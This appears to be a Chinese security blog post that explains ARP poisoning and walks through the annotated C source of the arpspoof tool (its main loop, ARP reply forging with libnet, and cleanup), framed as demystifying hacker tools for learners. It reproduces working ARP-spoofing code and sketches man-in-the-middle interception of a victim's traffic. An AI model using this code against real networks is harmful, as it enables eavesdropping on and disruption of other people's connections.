本文原创作者:VillanCh

前言

如果你的目标是一个会使用工具的hacker的话,请无视下面的所有内容;如果你的目标是渴望拥有自己的渗透测试工具,编写自己的xxxtools,那么看一些简单的工具的源码一定大有裨益。

背景

今天心血来潮闲着无聊打算分析某个小工具的源代码看看玩。

笔者也是一颗hacker的心,但是有一定的网络编程功底,一直立志不做一名只会用工具的hacker,那么今天晚上我的目标就是那个已经被滥用的ARPspoof。

说实在的我非常不喜欢神化黑客工具,那么我们今天就拿ARPspoof来开刀,看看这个可以实现ARP欺骗的小玩意内藏了多少“可怕的东西”

首先我是看过一些已经在FreeBuf上发出的关于ARP攻击的一些文章,窃以为我能看到,但是爱好者(不具备tcpip知识,网络知识基础薄弱的人可能要遭殃了)然后我准备以一种轻松的,微观的心态来讲一下这个问题,如在文章中出现漏洞或者是错误,欢迎大家指出。 

找到ARPspoof的源代码,核心代码基本都不变,那么我们这就开始把!但是ARPspoof的源代码随着版本的更新不停地在重构,我找了一个相对比较稳定的版本。 

以一种轻松的方式来补充基础知识

在此之前请允许我补充一些基础知识。

Arp数据包的作用:每一台电脑进入网络之后会广播一条arp数据包来声明自己的身份(ip,mac地址等),那么如果arp被恶意劫持了就是我们所熟悉的arp污染或者arp劫持。为了方便大家理解,我们可以类比我们平时所用的身份证,如果身份证被人拿走了,是不是可以被用来开户开房做坏事洗钱什么的?没错,我们可以姑且把arp当作这样的一个例子,但是也不完全对,就本文讨论这个工具而言的话我们这样理解是足够了。

Libnet库,这个库是一个神奇的库,在可以直接对链路层进行处理,如果你厌倦了socket的规规矩矩的使用,可以考虑看一下libnet库,同样的你也会猜到了,如果你发送大量的链路层数据报,有可能造成网络不稳定等各种问题,那么问题来了flood攻击,DDOS攻击是不是可是实现了?这个问题我还是很有兴趣为大家揭秘的。言归正传,关于libnet的使用,我们在arpspoof里面将会见到。

最最基础的网络知识与基础的linux内核编程知识本文是默认大家已经掌握的。那么我们接下来可以开始了么?不不不。 

Think like a hacker

我还需要罗嗦一点讲一讲arp劫持的故事:

我随意网上搜索一个arp劫持的例子

源于baidu,恩其实这个没什么神秘的,只是做出来效果不错而已

接下来是freebuf的Heee这个作者的一片文章地址《中间人攻击-ARP毒化》

那么我想说的倒不是这个,arp攻击我个人把它分为两种:1.arp断网;2.arp劫持。其实在成功实施arp断网的时候,实际的效果是被攻击的主机把攻击的机器当作了网关,而所有的数据包都发送到了攻击机上了,也就是说,理论上你是可以拿到它发送的所有数据包的(包括密码???),当然密码是极有可能加密的。

我们再延伸一下,收到了被攻击者发来的数据包我们会怎么办?查看一下么?但是好像查看的意义不太大啊(因为又去无回,被攻击者不停地再发请求数据包,并不会有什么数据交换,这样的数据包实际上是没有什么意思的),于是我们就想办法伪装一下,最简单的办法就是再欺骗一下网关么?bingo!答对了,好,问题又来了欺骗网关就可以了么?你收到的 被害者的数据包没有销赃。。。那么,其实很好解决,端口重定向。关于具体的实施,不是重点。

其实我们要来看看这个arpspoof这个小工具的源代码的。那么现在就可以正式开始了!

从main函数开始

首先大家不要慌,我加了无数注释,这个工具的代码也不过400行而已。首先我们看一下main函数:

为了避免大家看起来太紧张,我在源码的注释中加了详细的讲解,方便基础薄弱的同学理解:

int main(int argc, char *argv[])
{
       int c;
       char ebuf[PCAP_ERRBUF_SIZE];
       intf = NULL;
       spoof_ip = target_ip = 0;
 
 /**
      关于getopt这个函数我想做如下解释大家就可以读懂下面的函数的具体意思了:
      1.getopt的用途:用于专门处理函数参数的。
      2.getopt的用法:argc与argv直接是从main的参数中拿下来的,第三个参数描述了整个程序参数的命令要求
                    具体的用法我们可以先理解为要求i,t这两个参数必须有值
                    然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下面的while循环中的操作了
 */
       while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
 
              switch (c) {
 
              case 'i':
                     intf = optarg;
                     break;
              case 't':
/*
       libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip
*/
                     if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
                            usage();
                     break;
              default:
                     usage();
 
              }
 
       }
      
       argc -= optind;
       argv += optind;
 
       if (argc != 1)
              usage();
 
       if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
              usage();
 
      /*
      pcap_lookupdev 顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。
      下面的if语句是将如果intf(-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备)      
      ebuf就是error_buf用来存储错误信息
      */
       if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
              errx(1, "%s", ebuf);
 
 /*
 libnet_open_link_interface这个函数存在于libnet库中,作用是打开intf指向的网络链路设备
 错误信息存入ebuf中。
 */
       if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
              errx(1, "%s", ebuf);
 
 /*
 下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip
 那么提示错误
 */
       if (target_ip != 0 && !arp_find(target_ip, &target_mac))
              errx(1, "couldn't arp for host %s",
     libnet_host_lookup(target_ip, 0));
 
 //这里关于信号的处理问题如果大家不是太清楚的话也可以跳过,
 //有兴趣的朋友,可以深入了解一下,因为这里不是本文重点,就不再赘述了
       signal(SIGHUP, cleanup);
       signal(SIGINT, cleanup);
       signal(SIGTERM, cleanup);
 
       for (;;) {
             /*
                    在这个for的循环里我们看到了我们希望看到的核心模块
      arp_send大家一看这个函数便知道这个函数是用来发送伪造的arp数据包的,关于这个函数具体的用法我们稍后将会讨论
              */   
              arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
                    (target_ip ? (u_char *)&target_mac : NULL),
                    target_ip);
              sleep(2);
 
       }
/* NOTREACHED */
 
       exit(0);
 
}

看了main函数里面的各种东西,我们发现并没有什么玄机,其实就是很简单的编程,具体的函数讲解都在注释中写出来了。

核心函数的登场

接下来我们就看一下他是如何实现发送arp包的,其实知道大家看了源代码以后就知道,这真的没有什么技术含量,

/**
      这里是我们发送arp包的核心实现
      我先来介绍一下这个函数的参数方便大家理解
      参数一:libnet链路层接口,通过这个接口可以操作链路层
      参数二:本机的网卡设备intf(由-i指定或者pcap_lookupdev来获取)
      参数三:arpop,来指定arp包的操作
      参数四:本机硬件地址
      参数五:本机ip
      参数六:目标硬件地址
      参数七:目标ip
 */
int arp_send(struct libnet_link_int *llif, char *dev,
 int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
 
       char ebuf[128];
       u_char pkt[60];
 
 /*
 这里来通过链路层和网卡来获取dev对应的mac地址*/
       if (sha == NULL &&
    (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
 
              return (-1);
 
       }
       /*
       这里通过链路层和网卡来获取dev对应的ip地址
       */
 
       if (spa == 0) {
 
              if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
                     return (-1);
              spa = htonl(spa); /* XXX */
 
       }
      
       /*
       如果目标mac没有的话就被赋值为\xff\xff\xff\xff\xff\xff
       */
       if (tha == NULL)
              tha = "\xff\xff\xff\xff\xff\xff";
 
 /*
libnet_ptag_t libnet_build_ethernet(
u_int8_t*dst, u_int8_t *src,
u_int16_ttype, u_int8_t*payload,
u_int32_tpayload_s, libnet_t*l,
libnet_ptag_t ptag )
功能:
构造一个以太网数据包
参数:
dst:目的 mac
src:源 mac
type:上层协议类型
payload:负载,即附带的数据,可设置为 NULL(这里通常写 NULL)
payload_s:负载长度,或为 0(这里通常写 0 )
l:libnet 句柄,libnet_init() 返回的 libnet * 指针
ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。
返回值:
成功:协议标记
失败:-1
 */
       libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
 /*
 libnet_ptag_t libnet_build_arp(
u_int16_t hrd, u_int16_t pro,
u_int8_t hln, u_int8_t pln,
u_int16_t op, u_int8_t *sha,
u_int8_t *spa, u_int8_t *tha,
u_int8_t *tpa, u_int8_t *payload,
u_int32_t payload_s, libnet_t *l,
libnet_ptag_t ptag )
功能:
构造 arp 数据包 
参数: 
hrd:硬件地址格式,ARPHRD_ETHER(以太网) 
pro:协议地址格式,ETHERTYPE_IP( IP协议) 
hln:硬件地址长度 
pln:协议地址长度 
op:ARP协议操作类型(1:ARP请求,2:ARP回应,3:RARP请求,4:RARP回应) 
sha:发送者硬件地址 
spa:发送者协议地址 
tha:目标硬件地址 
tpa:目标协议地址 
payload:负载,可设置为 NULL(这里通常写 NULL) 
payload_s:负载长度,或为 0(这里通常写 0 ) 
l:libnet 句柄,libnet_init() 返回的 libnet * 指针 
ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。 
返回值: 
成功:协议标记 
失败:-1
 */
       libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
             op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
             NULL, 0, pkt + ETH_H);
 
       fprintf(stderr, "%s ",
       ether_ntoa((struct ether_addr *)sha));
 
 
 
 /*
 下面的if和else是回显处理(也就是大家能看到的部分
 */
       if (op == ARPOP_REQUEST) {
 
              fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
                     ether_ntoa((struct ether_addr *)tha),
                     libnet_host_lookup(tpa, 0),
                     libnet_host_lookup(spa, 0));
 
       }
       else {
 
              fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
                     ether_ntoa((struct ether_addr *)tha),
                     libnet_host_lookup(spa, 0));
              fprintf(stderr, "%s\n",
                     ether_ntoa((struct ether_addr *)sha));
 
       }
       return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
 
}

我们看到这其实真的没有什么很神奇的内容对吧?

小尾巴

 /*
      下面我们发现挂载信号处理函数的都是cleanup函数,
      这个函数很好理解,就是在本机网络设备存在的条件下把包再发三遍,
     
      但是为什么要这么做呢?似乎立即中断也没什么不合理,
      我想作者的意思就是总要给一个缓冲的时间啊
 
      我们再仔细观察一下,在main的主循环中是sleep(2)
      在下面的循环中是sleep(1)
     
 */
void cleanup(int sig)
{
 
       int i;
 
       if (arp_find(spoof_ip, &spoof_mac)) {
 
              for (i = 0; i < 3; i++) {
 
/* XXX - on BSD, requires ETHERSPOOF kernel. */
 
/*上面这条注释是源码的作者加的,意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/
                     arp_send(llif, intf, ARPOP_REPLY,
                           (u_char *)&spoof_mac, spoof_ip,
                           (target_ip ? (u_char *)&target_mac : NULL),
                           target_ip);
                     sleep(1);
 
              }
 
       }     
       exit(0);
 
}

这样我们还有什么不理解么?在《中间人攻击-ARP毒化》一文中,arpspoof这个工具被我们以这样的方式解密,大家是否开始觉得其实这并没有任何神奇的地方?这就是我们神化的黑客工具吧。 

下载附件

链接 密码: rsua

心血来潮之作,如有高见,希望大家不吝赐教~~

*原创作者:VillanCh,本文属FreeBuf原创奖励计划文章,未经作者本人及FreeBuf许可,切勿私自转载

源链接

Hacking more

...